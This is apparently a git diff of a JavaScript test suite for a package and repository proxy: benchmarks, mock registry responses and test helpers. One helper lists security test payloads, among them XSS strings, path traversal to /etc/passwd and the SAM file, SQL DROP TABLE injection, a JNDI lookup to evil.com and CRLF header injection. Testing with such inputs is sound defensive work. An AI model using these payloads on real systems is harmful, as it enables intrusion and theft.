||||||
|
});
|
||||||
|
|
||||||
|
bench('Hugging Face model request', async () => {
|
||||||
|
await SELF.fetch(TEST_URLS.huggingface.model, {
|
||||||
|
method: 'HEAD'
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('npm package request', async () => {
|
||||||
|
await SELF.fetch(TEST_URLS.npm.package, {
|
||||||
|
method: 'HEAD'
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('PyPI package request', async () => {
|
||||||
|
await SELF.fetch(TEST_URLS.pypi.simple, {
|
||||||
|
method: 'HEAD'
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('conda package request', async () => {
|
||||||
|
await SELF.fetch(TEST_URLS.conda.main, {
|
||||||
|
method: 'HEAD'
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Git Protocol Performance', () => {
|
||||||
|
bench('Git info/refs request', async () => {
|
||||||
|
await SELF.fetch('https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', {
|
||||||
|
headers: {
|
||||||
|
'User-Agent': 'git/2.34.1'
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('Git upload-pack request', async () => {
|
||||||
|
await SELF.fetch('https://example.com/gh/test/repo.git/git-upload-pack', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: {
|
||||||
|
'User-Agent': 'git/2.34.1',
|
||||||
|
'Content-Type': 'application/x-git-upload-pack-request'
|
||||||
|
},
|
||||||
|
body: '0000'
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Security Header Processing', () => {
|
||||||
|
bench('Security headers addition', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||||
|
|
||||||
|
// Verify headers are present (this adds to processing time)
|
||||||
|
response.headers.get('Strict-Transport-Security');
|
||||||
|
response.headers.get('X-Frame-Options');
|
||||||
|
response.headers.get('X-XSS-Protection');
|
||||||
|
response.headers.get('Content-Security-Policy');
|
||||||
|
response.headers.get('Referrer-Policy');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Error Handling Performance', () => {
|
||||||
|
bench('404 error handling', async () => {
|
||||||
|
await SELF.fetch('https://example.com/gh/nonexistent/repo/file.txt');
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('400 error handling', async () => {
|
||||||
|
await SELF.fetch('https://example.com/invalid-platform/test');
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('405 error handling', async () => {
|
||||||
|
await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||||
|
method: 'DELETE'
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Concurrent Request Handling', () => {
|
||||||
|
bench('10 concurrent requests', async () => {
|
||||||
|
const requests = Array(10).fill().map(() =>
|
||||||
|
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||||
|
method: 'HEAD'
|
||||||
|
})
|
||||||
|
);
|
||||||
|
|
||||||
|
await Promise.all(requests);
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('50 concurrent requests', async () => {
|
||||||
|
const requests = Array(50).fill().map(() =>
|
||||||
|
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||||
|
method: 'HEAD'
|
||||||
|
})
|
||||||
|
);
|
||||||
|
|
||||||
|
await Promise.all(requests);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Path Processing Performance', () => {
|
||||||
|
bench('Short path processing', async () => {
|
||||||
|
await SELF.fetch('https://example.com/gh/a/b', {
|
||||||
|
method: 'HEAD'
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('Medium path processing', async () => {
|
||||||
|
await SELF.fetch('https://example.com/gh/user/repository/path/to/some/file.txt', {
|
||||||
|
method: 'HEAD'
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('Long path processing', async () => {
|
||||||
|
const longPath = '/gh/user/repo/' + 'very-long-path-segment/'.repeat(20) + 'file.txt';
|
||||||
|
await SELF.fetch(`https://example.com${longPath}`, {
|
||||||
|
method: 'HEAD'
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('URL Parsing Performance', () => {
|
||||||
|
bench('Simple URL parsing', async () => {
|
||||||
|
await SELF.fetch('https://example.com/gh/user/repo');
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('URL with query parameters', async () => {
|
||||||
|
await SELF.fetch('https://example.com/gh/user/repo/file.txt?ref=main&path=src');
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('URL with fragments', async () => {
|
||||||
|
await SELF.fetch('https://example.com/gh/user/repo/README.md#section');
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('Complex URL parsing', async () => {
|
||||||
|
await SELF.fetch('https://example.com/gh/user/repo/file.txt?ref=feature/branch&path=src/components&line=123#L123');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Memory Usage Patterns', () => {
|
||||||
|
bench('Request object creation', async () => {
|
||||||
|
const request = new Request('https://example.com/gh/test/repo/file.txt', {
|
||||||
|
method: 'GET',
|
||||||
|
headers: {
|
||||||
|
'User-Agent': 'Test/1.0',
|
||||||
|
'Accept': '*/*'
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Process the request
|
||||||
|
await SELF.fetch(request);
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('Response object processing', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||||
|
|
||||||
|
// Access various response properties
|
||||||
|
response.status;
|
||||||
|
response.statusText;
|
||||||
|
response.headers.get('Content-Type');
|
||||||
|
response.headers.get('X-Performance-Metrics');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Platform-Specific Performance', () => {
|
||||||
|
bench('GitHub platform processing', async () => {
|
||||||
|
await SELF.fetch('https://example.com/gh/microsoft/vscode/blob/main/package.json');
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('GitLab platform processing', async () => {
|
||||||
|
await SELF.fetch('https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json');
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('Hugging Face platform processing', async () => {
|
||||||
|
await SELF.fetch('https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json');
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('npm platform processing', async () => {
|
||||||
|
await SELF.fetch('https://example.com/npm/react');
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('PyPI platform processing', async () => {
|
||||||
|
await SELF.fetch('https://example.com/pypi/simple/requests/');
|
||||||
|
});
|
||||||
|
|
||||||
|
bench('conda platform processing', async () => {
|
||||||
|
await SELF.fetch('https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
Vendored
+389
@@ -0,0 +1,389 @@
|
|||||||
|
/**
|
||||||
|
* Mock response fixtures for testing
|
||||||
|
*/
|
||||||
|
|
||||||
|
export const MOCK_RESPONSES = {
|
||||||
|
github: {
|
||||||
|
packageJson: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
'Cache-Control': 'max-age=300'
|
||||||
|
},
|
||||||
|
body: JSON.stringify({
|
||||||
|
name: 'vscode',
|
||||||
|
version: '1.85.0',
|
||||||
|
description: 'Visual Studio Code',
|
||||||
|
main: './out/main.js',
|
||||||
|
scripts: {
|
||||||
|
test: 'npm test'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
},
|
||||||
|
|
||||||
|
readme: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'text/plain; charset=utf-8'
|
||||||
|
},
|
||||||
|
body: '# Visual Studio Code\n\nCode editing. Redefined.'
|
||||||
|
},
|
||||||
|
|
||||||
|
release: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/octet-stream',
|
||||||
|
'Content-Length': '123456789',
|
||||||
|
'Content-Disposition': 'attachment; filename="vscode-1.85.0.zip"'
|
||||||
|
},
|
||||||
|
body: 'binary-data-placeholder'
|
||||||
|
},
|
||||||
|
|
||||||
|
notFound: {
|
||||||
|
status: 404,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'text/plain'
|
||||||
|
},
|
||||||
|
body: 'Not Found'
|
||||||
|
},
|
||||||
|
|
||||||
|
gitInfoRefs: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/x-git-upload-pack-advertisement',
|
||||||
|
'Cache-Control': 'no-cache'
|
||||||
|
},
|
||||||
|
body: '001e# service=git-upload-pack\n0000009144b8c8cf...'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
gitlab: {
|
||||||
|
packageJson: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json'
|
||||||
|
},
|
||||||
|
body: JSON.stringify({
|
||||||
|
name: 'gitlab',
|
||||||
|
version: '16.0.0',
|
||||||
|
description: 'GitLab Community Edition'
|
||||||
|
})
|
||||||
|
},
|
||||||
|
|
||||||
|
archive: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/zip',
|
||||||
|
'Content-Disposition': 'attachment; filename="gitlab-master.zip"'
|
||||||
|
},
|
||||||
|
body: 'zip-data-placeholder'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
huggingface: {
|
||||||
|
modelConfig: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json'
|
||||||
|
},
|
||||||
|
body: JSON.stringify({
|
||||||
|
architectures: ['GPT2LMHeadModel'],
|
||||||
|
model_type: 'gpt2',
|
||||||
|
vocab_size: 50257,
|
||||||
|
n_positions: 1024,
|
||||||
|
n_ctx: 1024,
|
||||||
|
n_embd: 1024,
|
||||||
|
n_layer: 24,
|
||||||
|
n_head: 16
|
||||||
|
})
|
||||||
|
},
|
||||||
|
|
||||||
|
modelFile: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/octet-stream',
|
||||||
|
'Content-Length': '987654321'
|
||||||
|
},
|
||||||
|
body: 'model-binary-data-placeholder'
|
||||||
|
},
|
||||||
|
|
||||||
|
datasetFile: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json'
|
||||||
|
},
|
||||||
|
body: JSON.stringify({
|
||||||
|
data: [
|
||||||
|
{ question: 'What is AI?', answer: 'Artificial Intelligence...' },
|
||||||
|
{ question: 'What is ML?', answer: 'Machine Learning...' }
|
||||||
|
]
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
npm: {
|
||||||
|
packageMetadata: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json'
|
||||||
|
},
|
||||||
|
body: JSON.stringify({
|
||||||
|
name: 'react',
|
||||||
|
version: '18.2.0',
|
||||||
|
description: 'React is a JavaScript library for building user interfaces.',
|
||||||
|
main: 'index.js',
|
||||||
|
repository: {
|
||||||
|
type: 'git',
|
||||||
|
url: 'https://github.com/facebook/react.git'
|
||||||
|
},
|
||||||
|
keywords: ['react', 'javascript', 'ui'],
|
||||||
|
license: 'MIT'
|
||||||
|
})
|
||||||
|
},
|
||||||
|
|
||||||
|
packageTarball: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/octet-stream',
|
||||||
|
'Content-Disposition': 'attachment; filename="react-18.2.0.tgz"'
|
||||||
|
},
|
||||||
|
body: 'tarball-data-placeholder'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
pypi: {
|
||||||
|
simpleIndex: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'text/html'
|
||||||
|
},
|
||||||
|
body: `<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head><title>Links for requests</title></head>
|
||||||
|
<body>
|
||||||
|
<h1>Links for requests</h1>
|
||||||
|
<a href="../../packages/source/r/requests/requests-2.31.0.tar.gz">requests-2.31.0.tar.gz</a><br/>
|
||||||
|
<a href="../../packages/py3/r/requests/requests-2.31.0-py3-none-any.whl">requests-2.31.0-py3-none-any.whl</a><br/>
|
||||||
|
</body>
|
||||||
|
</html>`
|
||||||
|
},
|
||||||
|
|
||||||
|
packageFile: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/gzip',
|
||||||
|
'Content-Disposition': 'attachment; filename="requests-2.31.0.tar.gz"'
|
||||||
|
},
|
||||||
|
body: 'gzip-data-placeholder'
|
||||||
|
},
|
||||||
|
|
||||||
|
wheelFile: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/zip',
|
||||||
|
'Content-Disposition': 'attachment; filename="requests-2.31.0-py3-none-any.whl"'
|
||||||
|
},
|
||||||
|
body: 'wheel-data-placeholder'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
conda: {
|
||||||
|
repodata: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json'
|
||||||
|
},
|
||||||
|
body: JSON.stringify({
|
||||||
|
info: {
|
||||||
|
subdir: 'linux-64'
|
||||||
|
},
|
||||||
|
packages: {
|
||||||
|
'numpy-1.24.3-py311h08b1b3b_1.conda': {
|
||||||
|
build: 'py311h08b1b3b_1',
|
||||||
|
build_number: 1,
|
||||||
|
depends: ['python >=3.11,<3.12.0a0'],
|
||||||
|
license: 'BSD-3-Clause',
|
||||||
|
name: 'numpy',
|
||||||
|
platform: 'linux',
|
||||||
|
subdir: 'linux-64',
|
||||||
|
timestamp: 1679932871000,
|
||||||
|
version: '1.24.3'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
},
|
||||||
|
|
||||||
|
packageFile: {
|
||||||
|
status: 200,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/x-conda-package',
|
||||||
|
'Content-Disposition': 'attachment; filename="numpy-1.24.3-py311h08b1b3b_1.conda"'
|
||||||
|
},
|
||||||
|
body: 'conda-package-data-placeholder'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
errors: {
|
||||||
|
badRequest: {
|
||||||
|
status: 400,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'text/plain'
|
||||||
|
},
|
||||||
|
body: 'Bad Request'
|
||||||
|
},
|
||||||
|
|
||||||
|
unauthorized: {
|
||||||
|
status: 401,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'text/plain'
|
||||||
|
},
|
||||||
|
body: 'Unauthorized'
|
||||||
|
},
|
||||||
|
|
||||||
|
forbidden: {
|
||||||
|
status: 403,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'text/plain'
|
||||||
|
},
|
||||||
|
body: 'Forbidden'
|
||||||
|
},
|
||||||
|
|
||||||
|
notFound: {
|
||||||
|
status: 404,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'text/plain'
|
||||||
|
},
|
||||||
|
body: 'Not Found'
|
||||||
|
},
|
||||||
|
|
||||||
|
methodNotAllowed: {
|
||||||
|
status: 405,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'text/plain',
|
||||||
|
'Allow': 'GET, HEAD'
|
||||||
|
},
|
||||||
|
body: 'Method Not Allowed'
|
||||||
|
},
|
||||||
|
|
||||||
|
pathTooLong: {
|
||||||
|
status: 414,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'text/plain'
|
||||||
|
},
|
||||||
|
body: 'URI Too Long'
|
||||||
|
},
|
||||||
|
|
||||||
|
internalServerError: {
|
||||||
|
status: 500,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'text/plain'
|
||||||
|
},
|
||||||
|
body: 'Internal Server Error'
|
||||||
|
},
|
||||||
|
|
||||||
|
badGateway: {
|
||||||
|
status: 502,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'text/plain'
|
||||||
|
},
|
||||||
|
body: 'Bad Gateway'
|
||||||
|
},
|
||||||
|
|
||||||
|
serviceUnavailable: {
|
||||||
|
status: 503,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'text/plain'
|
||||||
|
},
|
||||||
|
body: 'Service Unavailable'
|
||||||
|
},
|
||||||
|
|
||||||
|
gatewayTimeout: {
|
||||||
|
status: 504,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'text/plain'
|
||||||
|
},
|
||||||
|
body: 'Gateway Timeout'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Create a Response object from mock data
|
||||||
|
* @param {Object} mockData - Mock response data
|
||||||
|
* @returns {Response} Response object
|
||||||
|
*/
|
||||||
|
export function createMockResponse(mockData) {
|
||||||
|
return new Response(mockData.body, {
|
||||||
|
status: mockData.status,
|
||||||
|
statusText: getStatusText(mockData.status),
|
||||||
|
headers: mockData.headers
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get status text for HTTP status code
|
||||||
|
* @param {number} status - HTTP status code
|
||||||
|
* @returns {string} Status text
|
||||||
|
*/
|
||||||
|
function getStatusText(status) {
|
||||||
|
const statusTexts = {
|
||||||
|
200: 'OK',
|
||||||
|
201: 'Created',
|
||||||
|
204: 'No Content',
|
||||||
|
301: 'Moved Permanently',
|
||||||
|
302: 'Found',
|
||||||
|
304: 'Not Modified',
|
||||||
|
400: 'Bad Request',
|
||||||
|
401: 'Unauthorized',
|
||||||
|
403: 'Forbidden',
|
||||||
|
404: 'Not Found',
|
||||||
|
405: 'Method Not Allowed',
|
||||||
|
414: 'URI Too Long',
|
||||||
|
429: 'Too Many Requests',
|
||||||
|
500: 'Internal Server Error',
|
||||||
|
502: 'Bad Gateway',
|
||||||
|
503: 'Service Unavailable',
|
||||||
|
504: 'Gateway Timeout'
|
||||||
|
};
|
||||||
|
|
||||||
|
return statusTexts[status] || 'Unknown';
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Mock fetch function that returns predefined responses
|
||||||
|
* @param {string} url - Request URL
|
||||||
|
* @param {Object} options - Fetch options
|
||||||
|
* @returns {Promise<Response>} Mock response
|
||||||
|
*/
|
||||||
|
export function mockFetchWithFixtures(url, options = {}) {
|
||||||
|
return new Promise((resolve) => {
|
||||||
|
// Simulate network delay
|
||||||
|
setTimeout(() => {
|
||||||
|
const urlObj = new URL(url);
|
||||||
|
const path = urlObj.pathname;
|
||||||
|
|
||||||
|
// Route to appropriate mock response based on URL pattern
|
||||||
|
if (path.includes('/gh/') && path.includes('package.json')) {
|
||||||
|
resolve(createMockResponse(MOCK_RESPONSES.github.packageJson));
|
||||||
|
} else if (path.includes('/gh/') && path.includes('README.md')) {
|
||||||
|
resolve(createMockResponse(MOCK_RESPONSES.github.readme));
|
||||||
|
} else if (path.includes('/gl/') && path.includes('package.json')) {
|
||||||
|
resolve(createMockResponse(MOCK_RESPONSES.gitlab.packageJson));
|
||||||
|
} else if (path.includes('/hf/') && path.includes('config.json')) {
|
||||||
|
resolve(createMockResponse(MOCK_RESPONSES.huggingface.modelConfig));
|
||||||
|
} else if (path.includes('/npm/') && !path.includes('.tgz')) {
|
||||||
|
resolve(createMockResponse(MOCK_RESPONSES.npm.packageMetadata));
|
||||||
|
} else if (path.includes('/pypi/simple/')) {
|
||||||
|
resolve(createMockResponse(MOCK_RESPONSES.pypi.simpleIndex));
|
||||||
|
} else if (path.includes('/conda/') && path.includes('repodata.json')) {
|
||||||
|
resolve(createMockResponse(MOCK_RESPONSES.conda.repodata));
|
||||||
|
} else if (options.method && !['GET', 'HEAD', 'POST'].includes(options.method)) {
|
||||||
|
resolve(createMockResponse(MOCK_RESPONSES.errors.methodNotAllowed));
|
||||||
|
} else if (path.length > 2048) {
|
||||||
|
resolve(createMockResponse(MOCK_RESPONSES.errors.pathTooLong));
|
||||||
|
} else {
|
||||||
|
resolve(createMockResponse(MOCK_RESPONSES.errors.notFound));
|
||||||
|
}
|
||||||
|
}, Math.random() * 50 + 10); // 10-60ms delay
|
||||||
|
});
|
||||||
|
}
|
||||||
@@ -0,0 +1,314 @@
|
|||||||
|
/**
|
||||||
|
* Test utilities and helper functions
|
||||||
|
*/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Create a mock request with default options
|
||||||
|
* @param {string} url - Request URL
|
||||||
|
* @param {Object} options - Request options
|
||||||
|
* @returns {Request} Mock request object
|
||||||
|
*/
|
||||||
|
export function createMockRequest(url, options = {}) {
|
||||||
|
const defaultOptions = {
|
||||||
|
method: 'GET',
|
||||||
|
headers: {
|
||||||
|
'User-Agent': 'Mozilla/5.0 (Test)',
|
||||||
|
'Accept': '*/*'
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return new Request(url, { ...defaultOptions, ...options });
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Create a mock response with default options
|
||||||
|
* @param {string} body - Response body
|
||||||
|
* @param {Object} options - Response options
|
||||||
|
* @returns {Response} Mock response object
|
||||||
|
*/
|
||||||
|
export function createMockResponse(body = 'OK', options = {}) {
|
||||||
|
const defaultOptions = {
|
||||||
|
status: 200,
|
||||||
|
statusText: 'OK',
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'text/plain'
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return new Response(body, { ...defaultOptions, ...options });
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Create a Git request for testing
|
||||||
|
* @param {string} url - Git repository URL
|
||||||
|
* @param {string} service - Git service (upload-pack or receive-pack)
|
||||||
|
* @returns {Request} Git request object
|
||||||
|
*/
|
||||||
|
export function createGitRequest(url, service = 'git-upload-pack') {
|
||||||
|
const gitUrl = url.includes('?')
|
||||||
|
? `${url}&service=${service}`
|
||||||
|
: `${url}?service=${service}`;
|
||||||
|
|
||||||
|
return new Request(gitUrl, {
|
||||||
|
method: service === 'git-upload-pack' ? 'GET' : 'POST',
|
||||||
|
headers: {
|
||||||
|
'User-Agent': 'git/2.34.1',
|
||||||
|
'Git-Protocol': 'version=2',
|
||||||
|
...(service !== 'git-upload-pack' && {
|
||||||
|
'Content-Type': `application/x-${service}-request`
|
||||||
|
})
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generate test URLs for different platforms
|
||||||
|
* @param {string} platform - Platform identifier (gh, gl, hf, etc.)
|
||||||
|
* @param {string} path - Resource path
|
||||||
|
* @returns {string} Complete test URL
|
||||||
|
*/
|
||||||
|
export function generateTestUrl(platform, path) {
|
||||||
|
const baseUrl = 'https://example.com';
|
||||||
|
return `${baseUrl}/${platform}/${path}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Common test URLs for different platforms
|
||||||
|
*/
|
||||||
|
export const TEST_URLS = {
|
||||||
|
github: {
|
||||||
|
file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json',
|
||||||
|
raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md',
|
||||||
|
release: 'https://example.com/gh/microsoft/vscode/releases/download/1.85.0/vscode.zip',
|
||||||
|
archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
|
||||||
|
git: 'https://example.com/gh/microsoft/vscode.git'
|
||||||
|
},
|
||||||
|
gitlab: {
|
||||||
|
file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json',
|
||||||
|
raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md',
|
||||||
|
archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip',
|
||||||
|
git: 'https://example.com/gl/gitlab-org/gitlab.git'
|
||||||
|
},
|
||||||
|
huggingface: {
|
||||||
|
model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json',
|
||||||
|
dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json',
|
||||||
|
file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin'
|
||||||
|
},
|
||||||
|
npm: {
|
||||||
|
package: 'https://example.com/npm/react',
|
||||||
|
tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz',
|
||||||
|
scoped: 'https://example.com/npm/@types/node'
|
||||||
|
},
|
||||||
|
pypi: {
|
||||||
|
simple: 'https://example.com/pypi/simple/requests/',
|
||||||
|
package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz',
|
||||||
|
wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl'
|
||||||
|
},
|
||||||
|
conda: {
|
||||||
|
main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda',
|
||||||
|
community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json',
|
||||||
|
repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json'
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Security test payloads
|
||||||
|
*/
|
||||||
|
export const SECURITY_PAYLOADS = {
|
||||||
|
xss: [
|
||||||
|
'<script>alert(1)</script>',
|
||||||
|
'javascript:alert(1)',
|
||||||
|
'"><script>alert(1)</script>',
|
||||||
|
'\';alert(1);//'
|
||||||
|
],
|
||||||
|
pathTraversal: [
|
||||||
|
'../../../etc/passwd',
|
||||||
|
'..%2F..%2F..%2Fetc%2Fpasswd',
|
||||||
|
'..\\..\\..\\windows\\system32\\config\\sam',
|
||||||
|
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
|
||||||
|
],
|
||||||
|
injection: [
|
||||||
|
'\'; DROP TABLE users; --',
|
||||||
|
'${jndi:ldap://evil.com}',
|
||||||
|
'{{7*7}}',
|
||||||
|
'<%=7*7%>'
|
||||||
|
],
|
||||||
|
headerInjection: [
|
||||||
|
'value\r\nX-Injected: malicious',
|
||||||
|
'value\nX-Injected: malicious',
|
||||||
|
'value\r\n\r\n<script>alert(1)</script>'
|
||||||
|
]
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Performance test utilities
|
||||||
|
*/
|
||||||
|
export class PerformanceTestHelper {
|
||||||
|
constructor() {
|
||||||
|
this.measurements = [];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Measure execution time of an async function
|
||||||
|
* @param {Function} fn - Async function to measure
|
||||||
|
* @param {string} name - Measurement name
|
||||||
|
* @returns {Promise<any>} Function result
|
||||||
|
*/
|
||||||
|
async measure(fn, name = 'operation') {
|
||||||
|
const start = performance.now();
|
||||||
|
const result = await fn();
|
||||||
|
const end = performance.now();
|
||||||
|
|
||||||
|
this.measurements.push({
|
||||||
|
name,
|
||||||
|
duration: end - start,
|
||||||
|
timestamp: Date.now()
|
||||||
|
});
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get all measurements
|
||||||
|
* @returns {Array} Array of measurements
|
||||||
|
*/
|
||||||
|
getMeasurements() {
|
||||||
|
return [...this.measurements];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get average duration for a specific measurement name
|
||||||
|
* @param {string} name - Measurement name
|
||||||
|
* @returns {number} Average duration in milliseconds
|
||||||
|
*/
|
||||||
|
getAverageDuration(name) {
|
||||||
|
const filtered = this.measurements.filter(m => m.name === name);
|
||||||
|
if (filtered.length === 0) return 0;
|
||||||
|
|
||||||
|
const total = filtered.reduce((sum, m) => sum + m.duration, 0);
|
||||||
|
return total / filtered.length;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Clear all measurements
|
||||||
|
*/
|
||||||
|
clear() {
|
||||||
|
this.measurements = [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Mock fetch function for testing
|
||||||
|
* @param {string} url - Request URL
|
||||||
|
* @param {Object} options - Fetch options
|
||||||
|
* @returns {Promise<Response>} Mock response
|
||||||
|
*/
|
||||||
|
export function mockFetch(url, options = {}) {
|
||||||
|
// Simulate network delay
|
||||||
|
return new Promise(resolve => {
|
||||||
|
setTimeout(() => {
|
||||||
|
if (url.includes('error')) {
|
||||||
|
resolve(createMockResponse('Server Error', { status: 500 }));
|
||||||
|
} else if (url.includes('notfound')) {
|
||||||
|
resolve(createMockResponse('Not Found', { status: 404 }));
|
||||||
|
} else {
|
||||||
|
resolve(createMockResponse('Mock Response', { status: 200 }));
|
||||||
|
}
|
||||||
|
}, 10);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Validate response headers for security
|
||||||
|
* @param {Response} response - Response to validate
|
||||||
|
* @returns {Object} Validation results
|
||||||
|
*/
|
||||||
|
export function validateSecurityHeaders(response) {
|
||||||
|
const requiredHeaders = [
|
||||||
|
'Strict-Transport-Security',
|
||||||
|
'X-Frame-Options',
|
||||||
|
'X-XSS-Protection',
|
||||||
|
'Content-Security-Policy',
|
||||||
|
'Referrer-Policy'
|
||||||
|
];
|
||||||
|
|
||||||
|
const results = {
|
||||||
|
passed: true,
|
||||||
|
missing: [],
|
||||||
|
present: []
|
||||||
|
};
|
||||||
|
|
||||||
|
requiredHeaders.forEach(header => {
|
||||||
|
